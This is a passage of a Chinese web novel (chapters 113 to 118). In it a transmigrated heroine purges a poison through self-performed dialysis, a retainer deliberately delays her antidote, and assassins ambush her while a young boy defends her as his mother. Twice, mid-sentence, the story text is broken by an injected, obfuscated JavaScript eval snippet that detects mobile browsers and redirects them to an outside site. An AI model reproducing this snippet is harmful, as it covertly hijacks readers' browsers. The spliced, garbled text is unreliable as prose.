萧时晏一僵,小脸都白了。 糟糕,他……他一时忘形,把心里的称呼喊出来了。 可是,除了坏女人。 他真的不知道该怎么叫姜南溪。 萧时晏扁了扁嘴,有些委屈,又有些希冀地看了姜南溪一眼。 其实,如果可以。 他……他想像夭夭一样喊娘亲的。 正想着,小脸突然被掐住。 姜南溪捏着他嫩嫩的小脸,笑道:“放心吧,俗话说祸害遗千年。你都叫我坏女人了,我怎么会那么容易死呢?听话,去和金铃乖乖等在屏风那边,好不好?” 第一百一十三章 被扣黑锅 萧时晏的小脸蹭的红了。 他乖乖地点头,同手同脚地走到金铃身边。 直到金铃将屏风合上了,他才忍不住摸摸自己被掐过的小脸。 随后忍不住偷偷笑起来。 === 另一边,御王府。 “吁——!” 随着一声呼喝,一匹体型足比普通马儿高了一头的黑马前蹄扬起,停在御王府门前。 只见这马儿全身毛发乌黑油亮,唯有额前一撮白毛特别显眼。 此时这撮白毛正随着喘息,急促抖动着,显然是累得狠了。 影七从马背上跳下来,同样喘着气,却还伸手摸了摸马头。 “好绝影,真不愧是**挑一的名驹宝马。这七八日的路程,竟真硬生生被你五日跑完了。” 马儿立刻嫌弃地一晃脑袋,发出一阵响鼻,离影七远远的。 因为甩动,马身上的汗洒落下来,溅了影七一身。 而这汗却奇异地并非晶莹透明,而是带着微微的赤红。 影七被马儿嫌弃,还被洒了满脸汗,却也不敢多说什么。 抹了把脸,就要急匆匆往府里走。 然而,府门却在他敲响前,先打开了。 只见一男两女,正从里面出来。 三人脸上都带着几分忧色。 影七一眼就认出来,这三人正是阮芷安和妙菱主仆,以及御王府的护卫长耿超。 “咦,影七,你这么快就把七日断肠丸的解药取回来了?” 耿超刚好一抬头,似乎才发现影七的存在,忍不住叫了一声。 影七闻言,想起自己这几日日夜兼程赶路的辛苦。 忍不住得意地抬起手,晃了晃手中一个锦囊:“幸不辱命!” “王爷呢?司先生呢?还有那南溪县主呢?之前司先生让人传讯给我,说必须最快速度把解药送到王府,好替南溪县主解毒?她如今是不是正呆在王府中,巴巴等我手里的这颗解药呢?” 影七想起之前在姜南溪手下吃的憋,还有因为这女人受到的责骂处罚。 就气不打一处来。 不过再想想,如今姜南溪想活命,可就靠着他手上这颗解药呢! 影七又忍不住嘚瑟起来。 一会儿他亲手把解药送到那可恶的女人面前。 倒要看看这位南溪县主还有什么话好说?还敢不敢给他甩脸色! 耿超皱了皱眉道:“王爷今日一早就被圣上叫进宫了,司先生也跟着一起去了。如今还不知道宫中发生了什么事,阮宜人正打算去宫中找人打探一下情况呢!” 影七一听,心立刻提了起来。 只是还不等他问话,就听耿超又继续道:“至于南溪县主……” 他那张看上去格外沉稳质朴的脸上,露出为难的神情。 似乎并不愿意说一个女孩子的坏话,所以犹豫了许久,才道:“南溪县主可能太过急于拿到解药,所以两个时辰前,就去了东城门门口等你。” 影七瞪大了眼睛,难以置信道:“你说什么?东城门?那女人去东城门做什么?” 可他根本就没从东城门回来啊! 司先生去沟通了皇觉寺方丈。 在方丈同意后,他便从皇觉寺后山抄小道回来了。 这才能比原定的时间还要快半个多时辰赶回府中。 耿超叹了口气道:“南溪县主执意认为你会从东城门回来,毕竟从北疆赶来,东城门才是最近的路。” “我劝说了好几遍,跟她言明,王爷临进宫前,就嘱咐她留在府中别乱跑。且离七日断肠丸毒发至少还有半日时间,她好好等在这里,是一定能在毒发前等到影七你送来解药的。” “可南溪县主似乎怕极了,她是县主,又很可能是未来的御王妃,王爷和司先生都不在,府中也实在没人能劝得住这位县主,只能由着她去了。” “我还想着,或许影七你真会从东城门回来,可没想到,还是错过了!” 影七闻言,气的浑身发抖。 开什么玩笑? 那女人之前不是很嚣张吗? 如今怎么怕死成这样? 为了能早一刻拿到解药,竟然连王爷的命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587077|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令都敢不听? 那他要怎么办? 再把解药给那女人送过去? 可从王府去往东城门,无法奔马飞驰,就算骑着绝影也没用! 他如今都累得快虚脱了,难道还要耗费内力飞驰过去,给那女人送解药吗? 影七正一肚子恼火怨念。 就听一旁的妙菱不满地抱怨道:“如今王爷被皇上传入宫中,还不知道遇到了什么麻烦。整个王府乱成了一锅粥,偏这个南溪县主要在这种时候搞事。” “她那么贪生怕死,怎么之前害起小世子和小郡主,还有我们宜人的时候,就能如此心狠手辣?她的命是命,别人的命就不是命吗?” 影七一惊,一把抓住妙菱的手,厉声道:“你说什么?谁害小世子和小郡主?” “妙菱,别乱说话!”阮芷安连忙劝阻,“影七,你莫要听妙菱乱说,小世子和小郡主如今都好好的……” 妙菱眼泪唰的一下流下来了。 一半是假哭,一半是影七抓的实在太疼了。 她一边挣扎着把手抽回来,一边抽噎道:“我哪里胡说了,这本来就是事实。小姐你就是太好心了,才被那位南溪县主三番五次欺负到头上来。” 影七急的低吼了一声:“你倒是快说啊,到底发生什么事了?我才离开五日,那女人……那南溪县主怎么就胆大包天到敢害小郡主和小世子了?” 阮芷安作势要阻拦自家婢女。 妙菱却像是完全气不过,一把甩开阮芷安,叭叭叭就把这几日发生的事情都说了。 只是,从她口中说出来的剧情,七分真,三分假。 一番颠倒黑白,就将所有的黑锅都扣在了姜南溪头上。 萧时晏会算计姜南溪去伤残营,是因为姜南溪这个恶毒继母,容不下小世子这个拖油瓶。 姜南溪能从镇北军的护君营全身而退,是因为她恬不知耻,勾引护君营的将领。 还让那些将领误会小世子是心思恶毒的孩子,要害小世子失去继承王府的权利。 至于夭夭发病,那自然是姜南溪亲手害的。 第一百一十四章 让那女人吃足苦头 她不光害夭夭发病,还不让阮芷安用血救夭夭。 然后离间阮芷安与夭夭的关系,让单纯善良的小郡主对她言听计从,被她随意欺骗驱使。 连带着,因为小郡主的袒护。 连御王也被这女人勾引,反而疏远了曾豁出性命救小郡主的阮芷安。 妙菱说到最后,已经哭的泣不成声。 委屈又愤懑道:“可怜了我们宜人对王府一片赤忱,即便被这样冤枉疏远了,一听到王爷遇到麻烦,还是奋不顾身便要进宫去打探消息。” 阮芷安眼圈微红,她用帕子洇了洇眼角,强笑道:“妙菱,快别这么说,王爷对我有大恩,我做的这些不算什么。只是……只是小世子和小郡主年纪还那么小,又那么纯真善良,我真不希望他们的童真被有心人利用,再被狠狠伤害。” “这个毒妇!她竟然连小主子都敢算计!” 影七直听得怒火中烧,双目喷火,“这种毒妇,还给她解药做什么?她就应该被七日断肠丸折磨七日七夜后,肠穿肚烂而死!” 说着,影七一把取出锦囊中一颗硕大的白色药丸。 高高举起手,就要往不远处的水沟丢去。 可手举到半空,想起临行前萧墨宸的命令。 还有司玄中飞鸽传信中交代的话。 影七咬了咬牙,终究还是将那唯一的一颗七日断肠丸解药收回来,重新放回锦囊中。 阮芷安眼中闪过一抹晦涩和可惜。 但很快就恢复成规劝的柔善模样:“影七,你莫要冲动。我想,南溪县主没有恶意的,只是人不为己,天诛地灭,她怕小世子的存在,影响她以后孩子继承王爷爵位,自然会生出私心,偶尔行差踏错,也是有的。” “而且,南溪县主也不是没有优点的,她会讨人欢心,哪怕害的小郡主病发了,小郡主也依旧喜欢她。她这份讨人喜欢的本事,芷安确实自愧不如。想必让她留在御王府中,也能让小郡主开心吧?” “只是,我希望南溪县主千万莫要将小郡主当做她获取七日断肠丸解药的工具,一旦解毒成功,就对小郡主弃若敝履,甚至嫌弃她碍眼,要狠心将她从王府赶走。那样,那样小郡主该多伤心啊!” 阮芷安说着,就忍不住忧心忡忡地又落了几滴眼泪。 而一旁的影七则听得火冒三丈。 他心中已经认定,姜南溪对夭夭和颜悦色,就是要利用他们小郡主获取七日断肠丸解药。 等得到了解药,这个狠毒的女人,一定会对小郡主过河拆桥。 阮芷安察言观色,忍不住嘴角勾了勾。 随即仿佛不经意看了看天色道:“对了,影七,你莫要再耽搁了。还是快去鸿宾客栈找南溪县主,然后速速将解药给她吧?否则,这七日断肠丸发作,就算不会马上死,也要承受万蚁噬心的痛苦。” “南溪县主娇生惯养着长大,哪像我们从小吃过不少苦头,哪怕毒发痛苦,忍一忍也便过去了。她肯定是忍受不了的……” 影七闻言,却是左手握拳,一砸右手掌心。 脸上露出兴奋的神色,打断阮芷安的话。 “我有办法对付那个恶毒的女人了!” 对啊! 阮芷安不提醒,他都要忘了。 七日断肠丸,七日潜伏,七日毒发。 毒发时虽痛苦,却不致命。 姜南溪这女人如此可恶又阴毒。 自己若是此刻巴巴地把解药送过去,解了七日断肠丸的毒。 姜南溪便半点毒发之苦都不用受? 那岂不是白白便宜了这女人? 他便是奉王爷之命不得不将解药给姜南溪,也不必赶在毒发之前送啊! 现在离毒发大约还有三个时辰。 他索性就再多挨过四五个时辰,让那女人吃足了苦头。 再慢慢悠悠地去东城门找她。 岂不是既完成了主子的命令,又让这个可恶的女人受够教训。 阮芷安眼中闪过一抹暗芒,面上却装作疑惑道:“影七,你在说什么啊?你还不快去东城门的鸿宾客栈吗?南溪县主在那儿恐怕已经等急了!” 影七嗤笑一声:“急什么,现在离毒发不是还早吗?阮宜人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587078|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你之前说要去宫里打探主子的消息,不如属下陪您一起去吧?” 他当然不会真的让姜南溪**。 毕竟他是亲眼见过,姜南溪如何将主子身上的巫髓毒逼退少许的。 但这女人实在太过嚣张阴险。 又那般恬不知耻玷污主子,还妄想成为御王妃。 她如何配? 所以这一次,就让她好好尝尝七日断肠丸毒发的滋味吧! 等她疼的死去活来,实在受不了了。 自己再拿着七日断肠丸的解药去鸿宾客栈。 到那时,她便知道,今后要如何乖乖听话,为主子驱策了。 === 超级手术室系统中。 这是姜南溪第一次给自己做手术。 腹腔被切开,腹膜透析导管被置入体内。 与此同时,她的身上插满了银针。 随着银针刺激穴位,此时她体内所有的毒素,正在融入血液中,又往腹腔内汇聚。 这样的引导只能维持极短时间。 但如此短的时间,却足够她完成腹膜透析,将七日断肠丸的毒素与透析液进行溶质和水分的交换,最终将毒素作为代谢产物,排出体外。 腹膜透析的过程并不算太痛苦。 可七日断肠丸与透析液交融的过程,充当过滤器的腹膜中却仿佛有一把火在熊熊灼烧。 又像是有无数的虫蚁在她五脏六腑中疯狂啃噬。 姜南溪疼的死去活来,汗水与泪水浸湿了她的脸。 可她不能哭嚎,不能打滚,甚至不能让身体剧烈的颤抖。 因为她必须操作腹膜透析,还要时不时调整身上银针的位置。 防止体内还有七日断肠丸毒素的残留。 汗水将她的病服全部浸湿,指甲几乎将掌心抠破。 一旁的医疗智能机器人,时不时上前来擦去她脸上的汗。 却无法缓解她承受的痛苦。 无尽的痛苦滋生委屈、孤独与仇恨。 有那么一瞬间,姜南溪恨不得杀了萧墨宸这个罪魁祸首。 第一百一十五章 影七那个废物 她也恨穿越之神,为什么要把她送到这个时空? 恨定远侯府为何如此不做人,把她逼得不得不强求与萧墨宸的合作,最终被喂下七日断肠丸。 痛!太痛了! 她不想留在这操蛋的古代世界。 她想……回家。 迷迷糊糊中,姜南溪感觉自己的灵魂仿佛被抽离,拽入了无尽虚空中。 在浮浮沉沉、痛苦煎熬间,又突然一沉,坠入了另一个时空。 她看不清那是什么地方。 可身上同样痛的死去活来。 下半身仿佛被人狠狠撕裂开来,又有一把刀在用力翻搅。 姜南溪痛的哭喊出声。 但下一刻,嘴巴里却被塞进一只温热修长的手。 低沉而模糊的男子声音响在她耳畔。 “不要咬自己,要咬就咬本……” 姜南溪听不清男人的声音,也听不清他又说了什么。 她痛的只想破口大骂。 可下一刻,她就感觉全身一松,仿佛有什么东西从自己体内离去。 随之而来的是细弱地,如小奶猫一般的婴儿啼哭声。 有个苍老的声音欣喜地喊着:“生了……生了……是一对……” 然而,还不等姜南溪听清后面的话,就听一阵撕心裂肺的哭声从耳边传来。 “哇啊啊啊……坏女人,你不要死!呜哇哇哇哇,炎炎不要你死!呜呜呜呜……” 姜南溪彻底从那玄妙的时空中脱离出来。 她吃力地睁开眼。 入目不再是手术中心的白墙手术灯。 而是两张哭的仿佛天塌了的脸。 金铃跪在床边,哭的浑身颤抖,口中不停念着:“我该去找影七的,我该去拿解药的。不,我要去杀了影七那个废物!我要杀了他!” 而萧时晏则小手死死抓着姜南溪冰凉的手,哭的撕心裂肺。 口中一遍遍喊着:“不要死,炎炎不要你死……你不是说过不会死的吗?呜呜呜呜……” 姜南溪喘过一口气,虚弱道:“你们……再哭下去,我不死,也要被你们嚎丧嚎……死了……” 哭声,戛然而止! 两人猛地看向她,一个抬头,一个低头。 两双肿成核桃的大眼睛死死盯着姜南溪,像盯着失而复得的宝贝。 萧时晏盯着盯着,没忍住,又哇的一声哭了出来。 “坏女人,你……你骗人……” 金铃难得也扁着嘴,哭着控诉道:“小姐,你……你不是说你不会有事吗?奴婢刚刚……刚刚真的吓死了,呜呜呜……” 刚刚那几个时辰,她们两人度日如年地等在屏风后。 想去偷看一眼却不敢。 时间越是流逝,她们就越是煎熬。 直到屏风后传来姜南溪再也压抑不住的痛苦哀嚎声。 因为姜南溪的精神力再也没办法维持呆在系统里。 她的痛苦呻吟声、哀嚎声终于还是传入了金铃和萧时晏耳中。 两人齐齐变色。 再也忍耐不住,推倒屏风冲了进来。 当看到床榻上的姜南溪时,两人只觉得大脑一片空白。 无尽的恐惧与惊慌裹挟了他们的思维。 让萧时晏没忍住,哇一声就哭了出来。 那时的姜南溪腹部破开了一个小口子,浓稠的黑色血液,混合着不知名液体从腹部的缺口流淌出来。 越流越多,越流越多,逐渐浸透了整张床的被褥。 而姜南溪,她脸色惨白,全身几乎被汗水和黑血浸透了。 就那样倒在黑色的血泊中,周身冰凉,看不到任何活着的气息。 金铃和萧时晏看到这一幕,全都被吓傻了。 他们是真的以为姜南溪就那样死在了七日断肠丸的毒发之下。 两人哭的肝肠寸断,眼睛哭肿了,喉咙也哭哑了。 姜南溪前一刻在手术系统中还恨不得把御王府的人全嘎了。 此时看到这一大一小两人哭的悲痛欲绝,几乎要厥过去的模样。 她又忍不住心软了:“好了,别哭了,我这不是……没死吗?” 金铃急的跺脚:“小姐,别再说死不死的了!你要吓死奴婢和小世子吗?” 萧时晏扁着嘴,欲哭不哭,控诉地看着她。 姜南溪投降:“好……好,我……不说还不行吗?” 她一边说,一边抬起虚软无力的手,取下身上的金针。 金针拔出,她却没有感受到之前那种毒素迅速融入血液,倒灌入五脏六腑的感觉。 她又摸了摸脉,随即脸上慢慢出现了喜色。 “小姐,你……你怎么样?”金铃紧张地问。 萧时晏则紧紧抓着她的衣摆,小身体一抽一抽的。 肿成核桃的大眼睛不时有泪水涌出来。 姜南溪朝两人露出一个虚弱的笑:“放心,我说过了,我命大的很!” 七日断肠丸的毒虽然没有完全排出体外。 但也至少排出了九成。 剩下的那点,只要她再做一次血液透析,就能彻底清除。 之前不做血液透析,是因为七日断肠丸灼烧经脉的痛苦,她绝对忍受不了几个时辰。 但若只是剩余的那点毒素,咬牙熬一熬,就绝不是问题。 姜南溪又废了一番唇舌,把惊弓之鸟的两人支到屏风后。 给自己缝合了腹膜伤口。 又服用了消炎、止痛、补血的药。 整个人才仿佛从鬼门关活了回来。 “小姐,您身上的七日断肠丸,当真解了?” 姜南溪轻描淡写道:“嗯,解了。” 金铃:“!!!” 金铃看着姜南溪的目光,简直像在看神仙。 她怎么都无法想象。 连宫中最厉害的御医都束手无策的七日断肠之毒,竟然会被一个年仅十七岁的少女解除。 既然小姐连七日断肠丸都能解,那王爷身上的巫髓毒呢? 是不是也…… 然而,一想到姜南溪这一日遭受的痛苦折磨。 想到迟迟没有送到的七日断肠丸解药。 再想到姜南溪今日提起自家王爷时的咬牙切齿、恨之入骨。 金铃就忍不住难过。 如今的小姐,恐怕是不会肯再帮王爷解毒了。 这都怪影七那个废物! 明明说好了午时之前就能把解药送到的。 可如今都是半夜了,为什么? 为什么这混蛋还连个人影都没有? 莫不是,影七没有走东城门? 第一百一十六章 炎炎叫她娘亲。 金铃很快又摇头否定了这个想法。 不,不可能! 让小姐到东城门来等,可是耿超亲口说的。 耿超传达地还是王爷的命令。 王爷,总不至于故意想害小姐受苦吧? 这中间,到底哪里出了问题? 金铃正焦虑地胡思乱想着。 就听耳边传来姜南溪的声音:“我们现在就回碧清院吧!” 金铃回过神来,正想说如今已经是半夜了,要不还是明早再回去。 但她的视线落在姜南溪身上。 只见她的衣衫都被黑血染透了,连头发上也沾染着血块。 整个人虚弱而狼狈。 小姐如此神仙般的人物,怎么能这样污糟地将就一夜呢? 更何况,这儿是城门口的客栈,住在这里也不见得比回碧清院安全。 金铃思绪电转,立刻道:“徐瑞的马车一直在后巷等着,奴婢这就去通知他把马车赶到客栈门前。小姐您和小世子先在这里等一等。” 说完,她雷厉风行地便往外走去。 门还没打开,就听到一阵敲门声。 金铃脚步一顿:“谁?” “是我,客官!”外面传来店小二的声音,“楼下有位公子,言明要找这个雅间的贵客,姑娘您之前吩咐过,若是有人找,就把人直接带过来。” 透过门窗纸,外面确实看到了两个人影。 金铃立刻柳眉倒竖,怒喝一声:“好啊,影七你还知道送解药过来!” 一边说,她一把抓住门把手,就要狠狠拉开。 “金铃,别开门!” 但就在这时,身后传来姜南溪一阵急呼。 因为喊得太急,身体又太虚弱。 喊完后,她便发出一阵撕心裂肺的咳嗽声。 金铃心中一凛,开门的动作就微微顿住。 然而下一刻,只听“砰”一声响。 脆弱的木门被狠狠撞开,连带着金铃也倒飞出去,重重撞在屏风之上。 几个蒙面黑衣人带着浓重的杀气涌入房中,直冲姜南溪而去。 但下一刻,金铃就一个鲤鱼打挺,从地上跳起来。 方才还哭的稀里哗啦,软的像一滩水的小姑娘。 此时却满面寒煞,手中不知何时多了一对双刀。 纤纤素手握着双刀砍出,刀刀致命,杀气四溢。 冲在最前面的两个黑衣人竟一时被拦住了去路,左支右绌,无法招架,竟没能再往前寸进一步。 金铃还不忘回头朝姜南溪大喊:“小姐,小世子,你们快走!奴婢来拦住他们!” 但她到底只是一个人两只手。 能拦住两个蒙面人,却拦不住第三个第四个。 很快,其他几个蒙面人便越过金铃,朝着姜南溪直扑而去。 姜南溪完全没有要上演“我不走,我们要死就死在一起”这种苦情戏的意思。 她深知自己虽有一些现代格斗的本事。 可这点本事,面对古代从小练武,身怀内力的高手,是完全没有招架之力的。 她留在这里,非但帮不上金铃,反倒会给她拖后腿。 姜南溪一把抱起萧时晏,推开窗户往下看去。 这里是二楼雅间,离地面并不算太高。 但此时是深夜,窗户下方的小巷一片漆黑。 让人有种跳下去就会落入深渊巨口的恐怖错觉。 但此时情况危机,已经容不得姜南溪犹豫踟蹰。 在蒙面人的刀锋落下前,她想也没想,抱着萧时晏一个纵身跳了下去。 然而一落地,姜南溪的心就直直往下沉。 小巷的四周传来急促的脚步声。 凌厉的杀气,裹挟着黑夜的寒冷,将她团团包围。 原来,要伏杀她的蒙面人远不只客房中那几个。 还有不少潜伏在客栈四周。 光这里包围她的,就足有十几人。 姜南溪抱着萧时晏的手都在颤抖:“你们是什么人?为什么要杀我?” 萧时晏此时反倒比刚刚在雅间中嚎啕大哭的时候冷静。 他板着精致的小脸,厉声喝道:“我乃御王府世子,你们敢杀本世子和……和南溪县主,我父王绝不会放过你!” 几个蒙面人对视了一眼,眼里闪过一抹犹豫。 姜南溪心中刚升起了一丝希望。 然而下一刻,就听一个冰冷嘶哑的男子声音在黑夜中响起。 “杀!” 姜南溪瞳孔皱缩。 话音刚落,森寒刀芒就已经扑面而来。 姜南溪想也没想,将萧时晏抛到一旁的杂草丛中,自己就地一个翻滚,狼狈逃窜。 果然,这些杀手没有去管萧时晏。 全都冲着她而来。 该死的! 谁?到底是谁要杀她? 难道是当初在镇北军军营自己得罪过的祁瑞霖? 可祁瑞霖又怎么知道自己在鸿宾客栈中? 姜南溪只一个翻滚,就感觉头晕目眩,手脚虚软。 腹部刚刚才缝合的伤口此时也崩裂开来,鲜血汩汩流出。 刚做完腹膜透析的虚弱症状,在此时全部显露出来。 她别说战斗和反抗了,甚至连躲避的力气都没有。 寒气森森的刀锋朝着她的头颅毫不留情地落下。 姜南溪脸色惨白,脑海中只有一个念头。 吾命休矣! 然而下一瞬,她只觉得眼前一花。 一个小小的身影挡在了她的面前。 “不许伤害炎炎的娘亲!!” 童稚的声音,发出声嘶力竭的怒吼。 短短的小手用尽最大的力气张开。 稚嫩脆弱的小小身体,因为恐惧而本能地颤抖。 可面对穷凶极恶的杀意与森寒刀锋,他却半步都不肯退让。 哪怕弱小,哪怕幼嫩。 他也有自己要守护的东西。 他要保护自己的娘亲! 哪怕这声娘亲,只是炎炎私心里渴求的。 从没有得到过认可。 姜南溪愣住了。 看着不顾一切挡在自己面前的小小身影,脑海中一片空白。 炎炎叫她娘亲。 炎炎,在不顾一切地保护她。 一股热意涌上了眼眶,伴随着极度的恐惧。 不,她绝不能让炎炎被杀死! 锵! 落下的刀锋在半空中被截住。 一道瘦高的身影凭空出现,挡在萧时晏面前。 素色青灰短打几乎融在夜色中。 唯有他手中的那把长剑,闪烁着刺目的寒光。 “墨影卫!” 蒙面人发出一声低呼,声音紧张而凝重。 是影三! 第一百一十七章 带小世子先走 影三出现,保护炎炎了! 姜南溪猛地喘过一口气,感觉自己仿佛从水里被刚刚捞上来。 她手脚发软,腹部崩裂的伤口还在汩汩流血。 可此时也不知道哪来的力气,竟一把抱起萧时晏,朝着徐瑞所在的方向狂奔而去。 一边跑,她还一边忍不住咬牙切齿怒骂。 “萧时晏,你不要命了?那种情况下,谁让你冲出来的?” 萧时晏紧紧搂着她的脖子,依恋地贴着她。 但说了什么,姜南溪已经听不清了。 她耳边只有呼呼的风声,还有身后传来蒙面人的痛呼惊叫声。 姜南溪没忍住,抽空回头看了一眼。 就见影三一夫当关,万夫莫开的架势。 在这短短瞬息之间,竟已经砍翻了三个蒙面杀手。 然而,下一瞬,就只听—— 唰唰唰! 几道破空声,划破了黑夜的寂静。 箭矢闪烁着幽绿的寒光,直射向影三。 影三迅速打飞了几根箭矢,又砍翻了一个蒙面人。 可到底被拖住了手脚。 唰! 其中一根箭矢,从两个蒙面人的中间穿透而过。 在影三的视觉盲区,直射向他心脏。 影三的反应已经是极快,迅速侧了侧身体。 箭矢从心脏的位置偏差而过,射入肩膀。 影三发出一声闷哼。 平反朴素的脸上,露出几分痛苦。 但很快被他强忍下去,重新投入战斗中。 只是,比起之前的一夫当关万夫莫开。 被弩箭射中的影三显然没有了方才的战斗力。 蒙面人很快便分出几人,直追姜南溪而去。 …… 在看到蒙面人拿出微型弩箭的时候,姜南溪就在心里大骂了一声“卧草”! 至于吗? 至于吗?! 就对付她一个手无缚鸡之力,没爹疼没娘爱的落魄县主。 用得着动用如此全副武装的杀手吗? 而且,偏偏选在她刚刚做完透析,身体虚弱地连跑都跑步动的时候? 这是只害怕她死不透啊! 该死的,用不用这么高估她啊? 明明在这古代世界,她弱的随便一个高手,就能一根手指头碾死。 心里虽这么想,但姜南溪脚下却跑的飞快。 她知道,影三受伤,战斗力一定大减。 迟早那些蒙面杀手会追上她。 果然,姜南溪刚跑到小巷尽头,就听到身后传来急促却轻微的脚步声。 这是脚尖落在地面,却很快用轻功飞掠疾驰才会产生的声音。 姜南溪连吃奶的力气都使出来了。 猛地冲过拐角,大吼一声:“徐瑞!” 徐瑞的马车一直停在客栈后方的马槽边。 听到动静后,他就一直犹豫着要不要过来看。 想离开,却又想起姜南溪上楼前,金铃嘱咐他好好守着马车。 他人有些憨傻,却格外的听话。 所以哪怕在马车边一守几个时辰,都三更半夜了,却连眯一会儿眼都不肯。 一直乖乖守在这里。 但此时听到姜南溪的声音,徐瑞却什么都顾不得了。 他猛地冲过去。 还没迈出几步,就看到抱着萧时晏夺命狂奔的姜南溪。 哪怕夜色昏暗,徐瑞还是看到姜南溪此刻的狼狈与满身血污。 再加上远处传来的脚步声。 老实人的面相陡然变了。 凶悍而狰狞,仿佛一头随时都要扑倒敌人,把人撕碎的黑熊。 谁敢伤害他们王妃! 他要杀了他们! 徐瑞迅速抽出随身长刀,脚下步伐加快,很快就迎上了姜南溪。 他声音隆隆道:“小姐,你带小世子快跑,属下……” 徐瑞的话还没说完,怀里就猛然一沉,被塞了个小世子。 姜南溪把萧时晏塞到徐瑞怀里,大声道:“徐瑞,带着小世子快跑,去……去搬救兵!” 她口中说着,脚下却半步也没停。 “娘亲!”身后传来萧时晏声嘶力竭的哭喊声,“炎炎不走,炎炎要保护娘亲!” 姜南溪几步冲到了马车前,用最快的速度解开缰绳。 随后利落翻身上马。 黑夜中,一身狼狈血污的少女高高坐在马背上,衣衫与发丝都被夜风吹的猎猎作响。 神情冷冽而决绝。 但当她的视线落在那拼命挣扎哭喊的孩童身上时,眼中还是闪现一抹不舍和温柔。 “萧时晏,你说过的,以后都要做个听话的好孩子。” “好孩子都是会听娘亲话的!” “现在娘亲要你跟着徐瑞叔叔去安全的地方,你要乖乖听话,好不好?” 萧时晏的声音戛然而止。 他的脸上还挂着泪珠,小嘴因为嚎啕还微微张着。 红肿的双眼却陡然瞪大,呆呆地看着姜南溪。 脑海中只有一个念头:娘亲,坏女人愿意让他叫娘亲了。 他有娘亲了。 炎炎以后再也不是没有娘亲的野孩子了。 然而,这念头只闪过一瞬。 就听啪一声尖锐巨响。 姜南溪的鞭子抽在马背上。 马儿发出一声嘶鸣,朝着两人和追来的蒙面人反方向,疾驰而去。 迎着烈烈风声,还能听到姜南溪竭尽全力的喊声。 “徐瑞,如果你还认我这个小姐的话,就不要追上来!” “带着萧时晏去找救兵!” 哪怕找不到救兵也没关系。 至少,至少一定要将这个叫她娘亲,愿意用生命守护她的孩子,带到安全的地方。 徐瑞原本想要追出去的脚步一顿。 憨傻的脸上露出痛苦纠结的神色。 与此同时,身后的蒙面人终于也追了上来。 四人看到徐瑞和他怀里的萧时晏,脚步微微一顿。 但只犹豫了一瞬。 这四人就撇下两人,毫不犹豫朝飞驰的马车追去。 很显然,他们的目标是姜南溪。 其他人若是阻拦,他们一样会照杀不误。 但今夜,没有什么比砍下姜南溪的首级更重要。 “娘亲,娘亲!” 看到与自己擦身而过的黑衣人,萧时晏猛地醒过神来。 再次发出声嘶力竭的哭喊声,“徐瑞,你放下我,放我下来,炎炎要去找娘亲!” “我命令你放我下来,听到没有?娘亲,娘亲,呜呜呜……” 徐瑞的牙齿咬的咯咯作响。 因为太过用力,他的唇齿间甚至渗出了血丝。 抱着萧时晏的手上青筋暴起。 第一百一十八章 让奴婢护您……最后一次 他也想去救姜南溪。 哪怕豁出性命,也想要保护小姐。 他憨笨,却不是傻子! 他很清楚,姜南溪这样做,是用自己为饵,引走杀手。 让他和小世子安全。 可他算什么东西啊! 怎么能让小姐用自己的命来护她安全呢? 徐瑞的手松开又捏紧,他想将小世子放到地上,自己不顾一切追上去保护姜南溪。 可脑海中却陡然响起母亲说过的话。 “徐瑞啊,咱们得王妃是个好人,还是个顶顶聪明的好人。以后你跟在王妃身边,什么都不用想,只要乖乖听王妃的话就好了。千万不要自作聪明,有自己的小心思,不把王妃当正经主子,那样只会弄巧成拙,听见了吗?娘说的这些话,你一定要好好记在心里。” 徐瑞的虎目上滚落两行清泪,与他嘴角的血丝混合在一起。 仿佛流了血泪一般。 但他抱着萧时晏的手却更紧了。 随即发出一声咆哮般的怒吼。 不顾萧时晏的挣扎,猛一扭身朝城门口的方向飞奔而去。 …… 另一边,姜南溪一下下挥动着马鞭。 身体在夜风中被冻得冰凉,眼前也一点点模糊。 她知道,这是透析的后遗症。 也是腹部伤口崩裂带来的结果。 她已经失血过多。 可她不能停,停下来就是死。 咻!咻! 然而,就在这时,一道夺命的破空声从侧后方呼啸而来。 姜南溪因为失血过多,反应已经有些迟钝。 等意识到发生了什么时,根本就来不及闪躲。 她只能用力地侧身,躲过了直穿她太阳穴的致命弩箭。 可随之而来的第二箭,她却无论如何也躲不开了。 扑哧! 肩膀传来一阵剧烈的疼痛。 连带着还有弩箭的巨大惯性,将她从马上狠狠掼下来。 “啊!” 姜南溪从马上坠落,在地上打了好几个滚。 肩膀上的箭矢一寸寸插入肩胛骨中,疼的她发出痛苦的哀嚎。 但她都这样凄惨狼狈,毫无反抗之力了。 这些蒙面的杀手却丝毫没有轻敌的意思。 眨眼间,两人便已经提着长剑来到了她的面前。 姜南溪抬起满是血和泪的脸,嘶声道:“到底是谁……让你们来杀我的?既然我都要死了,能不能,让我……当一个明白鬼?” 其中一个瘦高蒙面人笑了一声,用低沉的声音道:“去地底下,问阎罗王吧。” 说着,竟半点没有要侮辱谩骂、得意猖狂几句的意思。 提剑就往她心脏刺入。 姜南溪的瞳孔微微张大,眼睁睁看着剑尖离自己越来越近,越来越近。 扑哧! 耳边传来利刃入肉的声音。 但随之而来的却不是剧痛,而是一具温热的身体,扑进她怀里。 